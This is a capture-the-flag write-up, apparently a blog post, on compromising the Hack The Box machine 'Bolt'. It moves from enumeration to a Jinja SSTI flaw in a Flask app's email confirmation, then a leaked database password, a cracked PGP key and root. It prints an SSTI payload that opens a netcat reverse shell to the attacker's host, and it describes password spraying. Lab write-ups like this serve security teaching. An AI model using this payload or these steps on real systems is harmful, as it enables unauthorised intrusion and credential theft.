Home Hack The Box Writeup - Bolt
Post
Cancel

Hack The Box Writeup - Bolt

Bolt is a medium Linux box. First, we had to heavily enumerate the existing web application to find all its subdomains and its functionalities. At some point, by analysing the downloaded Docker Image, an SSTI vulnerability was discovered in one of the found subdomains which gave us inital access to the system. Then, password spraying allowed us to log in as an existing user. From here, based on a found email, we had to search the system for a PGP private key which was then used to decrypt a PGP encrypted message. Once we had cracked the password of the PGP private key, we obtained the root password from the encrypted messsage.

Enumeration

As always, we start by scanning the target machine’s open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ rustscan --ulimit 5000 -a 10.129.226.246 -- -sC -sV -oN port_scan

PORT    STATE SERVICE  REASON  VERSION                                                                                                                                                       
22/tcp  open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                                                                                                  
| ssh-hostkey:                                                                                                                                                                               
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)                                                                                                                               
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDkj3wwSWqzkYHp9SbRMcsp8vHlgm5tTmUs0fgeuMCowimWCqCWdN358ha6zCdtC6kHBD9JjW+3puk65zr2xpd/Iq2w+UZzwVR070b3eMYn78xq+Xn6ZrJg25e5vH8+N23olPkHicT6tmYxPFp+pGo
/FDZTsRkdkDWn4T2xzWLjdq4Ylq+RlXmQCmEsDtWvNSp3PG7JJaY5Nc+gFAd67OgkH5TVKyUWu2FYrBc4KEWvt7Bs52UftoUTjodRYbOevX+WlieLHXk86OR9WjlPk8z40qs1MckPJi926adEHjlvxdtq72nY25BhxAjmLIjck5nTNX+11a9i8KSNQ23F
js4LiEOtlOozCFYy47+2NJzFi1iGj8J72r4EsEY+UMTLN9GW29Oz+10nLU1M+G6DQDKxoc1phz/D0GShJeQw8JhO0L+mI6AQKbn0pIo3r9/hLmZQkdXruJUn7U/7q7BDEjajVK3gPaskU/vPJRj3to8g+w+aX6IVSuVsJ6ya9x6XexE=             
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)                                                                                                                              
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF5my/tCLImcznAL+8z7XV5zgW5TMMIyf0ASrvxJ1mnfUYRSOGPKhT8vfnpuqAxdc5WjXQjehfiRGV6qUjoJ3I4=                           
|   256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)                                                                                                                            
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGxr2nNJEycZEgdIxL1zHLHfh+IBORxIXLX1ciHymxLO                                                                                                           
80/tcp  open  http     syn-ack nginx 1.18.0 (Ubuntu)                                                                                                                                         
|_http-favicon: Unknown favicon MD5: 76362BB7970721417C5F484705E5045D                                                                                                                        
| http-methods:                                                                                                                                                                              
|_  Supported Methods: GET HEAD OPTIONS                                                                                                                                                      
|_http-server-header: nginx/1.18.0 (Ubuntu)                                                                                                                                                  
|_http-title:     Starter Website -  About                                                                                                                                                   
443/tcp open  ssl/http syn-ack nginx 1.18.0 (Ubuntu)                                                                                                                                         
|_http-favicon: Unknown favicon MD5: 82C6406C68D91356C9A729ED456EECF4                                                                                                                        
| http-methods:                                                                                                                                                                              
|_  Supported Methods: GET HEAD POST                                                                                                                                                         
|_http-server-header: nginx/1.18.0 (Ubuntu)                                                                                                                                                  
| http-title: Passbolt | Open source password manager for teams                                                                                                                              
|_Requested resource was /auth/login?redirect=%2F    

We get back the following result showing that three ports are open:

  • Port 22: running OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
  • Port 80: running nginx 1.18.0 (Ubuntu)
  • Port 443: running nginx 1.18.0 (Ubuntu) - Passbolt - Open source password manager for teams

Port 80 - nginx 1.18.0

Looking at the website in the browser, we see the homepage of a designer & developer group called Bolt.

The website contains several sub-pages such as Contact/, Services/FAQ Download and Login.

The contact page reveals two mail addresses: support@bolt.htb and sales@bolt.htb. Maybe we will need them later.

Services

The Services/FAQ page explains what Bolt is and what is included in the free docker image … Free docker image hm.. maybe this is what we can download in the Downloads area. As they are “selling” this product, they might also use it for their own website?

Downloads

The downloads page, provides a download-link. Pressing the download button, it starts downloading a file called image.tar. Great. This might be the free docker image they were talking about on the Services page.

Unpacking the image.tar file on my local machine gives us a bunch of files and directories with crazy long names.

Tbh, I’m quite inexperienced with such docker images, thus this looks a bit strange to me at first glance. But we will come back to this image later.

Login

The last listed subpage is the login page. As we are not in posession of any valid credentials I simply tried admin:admin and all those common default-login credentials but without success.

Then I tried to create an account with the Create account functionality. However, submitting the form results in an Internal Server Error. We will anaylse this later.

Also I recognized that the head title says Boilerplate Code Jinja - Sign IN | AppSeed.

AppSeed is a platform that uses in-house developed automation tools to cut the manual work usually involved in web development. The app generator is an automated workflow that consumes flat, lifeless UI Kits and builds starters in different patterns: MVC, two-tier architecture, SPA ..etc. Github

Boilerplate-Code Jinja: Template boilerplate code used by AppSeed to generate simple starters coded in Flask. Github

Looking at the Github-example, I realized that it looks very similar to the Bolt webiste.

Maybe the whole website was developed with AppSeed and this specific Template.

Port 443 - Passbolt | Open source password manager for teams

Visiting the page on https://10.129.226.246/auth/login?redirect=%2F, we are presented a blank page.
Looking at the source code, we can see that all resources are linked to https://passbolt.bolt.htb.

Thus I added this domain to /etc/hosts and accessed the page again. Now we are prompted with a completely different content!

Entering the mail babbadeckl@bolt.htb results in following error message:

Hmmmm, we’ve seen some of the available email addresses on the contact page, namely support@bolt.htb and sales@bolt.htb. Furthermore, I’m pretty sure something like admin@bolt.htb or root@bolt.htb should also exist. But first, let’s try the first two mails. But, no luck - both emails are not associated with any approved user on this domain. Also the admin email fails. So, for now we are stuck, until we find a valid email address.

Virtualhost - Scan

Before taking a look at the docker image, I started a virtualhost scan with wfuzz

1
2
3
4
5
6
7
8
wfuzz -Z -c -w /usr/share/wordlists/subdomains-5k.txt --hw 1801 -H "Host: FUZZ.bolt.htb" http://10.129.226.246

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000002:   200        98 L     322 W      4943 Ch     "mail"                                                                                                                      
000000038:   302        3 L      24 W       219 Ch      "demo" 

And there are actually subdomains mail and demo! Let’s add them to the /etc/hosts file and investigate them.

Subdomain: demo

The demo subdomain reveals another web application which also immediately prompts us with a login form at /login.

Further, at /register we can also register an account for this application. Additionally to the previous account registration, we are now asked to also provide an invite code … So, seems like we must be looking for an invite code.

Subdomain: mail

The mail subdomain is also a login for a Roundcube mail. However, as we don’t have any valid credentials, this does not bring us any further.

Therefore, let’s have a look at the Docker Image. Maybe it contains something that might help us.

The downloaded Docker Image

Basically a docker image consists of several different layers. Each layer adds additional functionalities or settings to the final image. All layers together then form the docker image.

Scimming through the different layers (41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad in particular), I found a very interesting file called routes.py which contains two paths that are identical to the one we saw on the demo subdomain. Could it be that the Bolt company hosted their own downloadable image on this demo subdomain? Let’s have a look at the code …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
    login_form = LoginForm(request.form)
    create_account_form = CreateAccountForm(request.form)
    if 'register' in request.form:

        username  = request.form['username']
        email     = request.form['email'   ]
        code      = request.form['invite_code']
        if code != 'XNSS-HSJW-3NGU-8XTJ':
            return render_template('code-500.html')
        data = User.query.filter_by(email=email).first()
        if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
            # Check usename exists
            user = User.query.filter_by(username=username).first()
            if user:
                return render_template( 'accounts/register.html', 
                                    msg='Username already registered',
                                    success=False,
                                    form=create_account_form)

            # Check email exists
            user = User.query.filter_by(email=email).first()
            if user:
                return render_template( 'accounts/register.html', 
                                    msg='Email already registered', 
                                    success=False,
                                    form=create_account_form)

            # else we can create the user
            user = User(**request.form)
            db.session.add(user)
            db.session.commit()

            return render_template( 'accounts/register.html', 
                                msg='User created please <a href="/login">login</a>', 
                                success=True,
                                form=create_account_form)

And yes, indeed! This looks very similar to the demo.bolt.htb website!!! And there is an invite code in the text: XNSS-HSJW-3NGU-8XTJ

Using this invite code, we can now create an account at demo.bolt.htb. I chose babbadeckl and registered the account with the mail babbadeckl@bolt.htb. And it worked! Now we can log in.

Clicking through the website, the only field where I could upload/change data was the Settings form.

I entered some data just to see what happens:

1
2
3
Name: newName
Experience: newExperience
Skills: newSkills

Hmm… it told me to confirm the changes via mail. I then went back to the mail subdomain and tried logging in with my user account credentials of bolt … and it worked. I now have access to a valid bolt.htb mail!

Clicking on the link to confirm changes, brings me back to the demo.bolt.htb application. However, no changes are visible. Then I realized I got another mail. This time it basically told me the new name I have chosen for my user.

So…. It basically prints w/e I enter as new Username… seems suspicious. Looking at the code of the email template, we can clearly see that there is no sanitization!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#docker_image/41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/home/routes.py
@blueprint.route('/confirm/changes/<token>')
def confirm_changes(token):
    """Confirmation Token"""
    try:
        email = ts.loads(token, salt="changes-confirm-key", max_age=86400)
    except:
        abort(404)
    user = User.query.filter_by(username=email).first_or_404()
    name = user.profile_update
    template = open('templates/emails/update-name.html', 'r').read()
    msg = Message(
            recipients=[f'{user.email}'],
            sender = 'support@example.com',
            reply_to = 'support@example.com',
            subject = "Your profile changes have been confirmed."
        )
    msg.html = render_template_string(template % name)
    mail.send(msg)

    return render_template('index.html')
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/…/app/home/templates/emails]
└─$ cat update-name.html 
<html>
        <body>
                <p> %s </p>
                <p> This e-mail serves as confirmation of your profile username changes.</p>
        </body>
</html>

Initial Foothold

This is definitely vulnerable to SSTI! Let’s try it! Perfect, we can leak all the installed modules with the payload

1
{{''.__class__.__mro__[1].__subclasses__()}}

Bringing this further, we can also establish a reverse shell to get access to the server.

1
{{''.__class__.__mro__[1].__subclasses__()[222]('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.94 4444 >/tmp/f', shell=True, stdout=-1).communicate()}}

And there we go. Access as www-data!

User Access

After testing the default stuff like sudo -l and SUID bit, I started looking through the available web application files. Several database files contained some credentials, but one seemed particularly interesting, as we have not dealt with this application yet:

1
2
3
4
5
6
7
8
9
10
www-data@bolt:/etc/passbolt$ cat passbolt.php

  'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',

Connecting to the database with the command mysql -u passbolt -p, gives us access to the passbolt database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb  |
+-----------------------+
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
+-----------------------+
1
2
3
4
5
6
7
mysql> select role_id, username from users;
+--------------------------------------+----------------+
| role_id                              | username       |
+--------------------------------------+----------------+
| 1cfcd300-0664-407e-85e6-c11664a7d86c | eddie@bolt.htb |
| 975b9a56-b1b1-453c-9362-c238a85dad76 | clark@bolt.htb |
+--------------------------------------+----------------+

Here, we can see two existing users, that also exist on the server (/home).

Looking further, there is also a table called secrets which contains a PGP encrypted message

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select * from secrets;
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----

However, at the moment, this does not help us in any way. So, no luck with the analsis of the database … after a while I tried the passbolt db password (rT2;jW7<eY8!dX8}pQ8%) as password for the user eddie… And it worked. Facepalm! NEVER SKIP PASSWORD SPREADING!!

Privilege Escalation

Now that we have access to the user eddie, we have access to several files that belong to this user. Amongst others, there is a mail in /var/mail that contained some content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
eddie@bolt:/var/mail$ cat eddie 
From clark@bolt.htb  Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
        id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>

Hey Eddie,

The password management server is up and running.  Go ahead and download the extension to your browser and get logged in.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords.  Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...

-Clark

This means that Eddie should have back-up’ed the private key somewhere. As I have no idea how the file might be called, I went to eddie’s home directory and did a grep search based on the pattern PRIVATE KEY as this is usually part of the PGP key envelope.

1
2
3
eddie@bolt:~$ grep -iR "PRIVATE KEY"
...
Binary file .config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches

Only a few files were matching, however, most of them were .js files, which basically implemented the handling of those keys. The last one was a log file. So this seemed promising. And indeed! There is the private PGP key of eddie! Till now, I still have no idea why any application would log this…

To decrypt the PGP message, we first have to obtain the password for the PGP private key. I tried some passwords that we’ve already found but none of them was valid. Then I did some research on how to recover/obtain this key and one of the results I found is, that john supports PGP cracking.

I then used gpg2john to covert the key into a format that is understandable for john.

And the final step was to start the cracking process.

After a few minutes, it returned a match! merrychristmas.

Decrypting the PGP message of the database, we get the following message:

1
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}

I immediately did password spreading on the remaining users clark and root (because I will definitely not skip it again!) and surpringsly got access to the root user! Rooted!

This post is licensed under CC BY 4.0 by the author.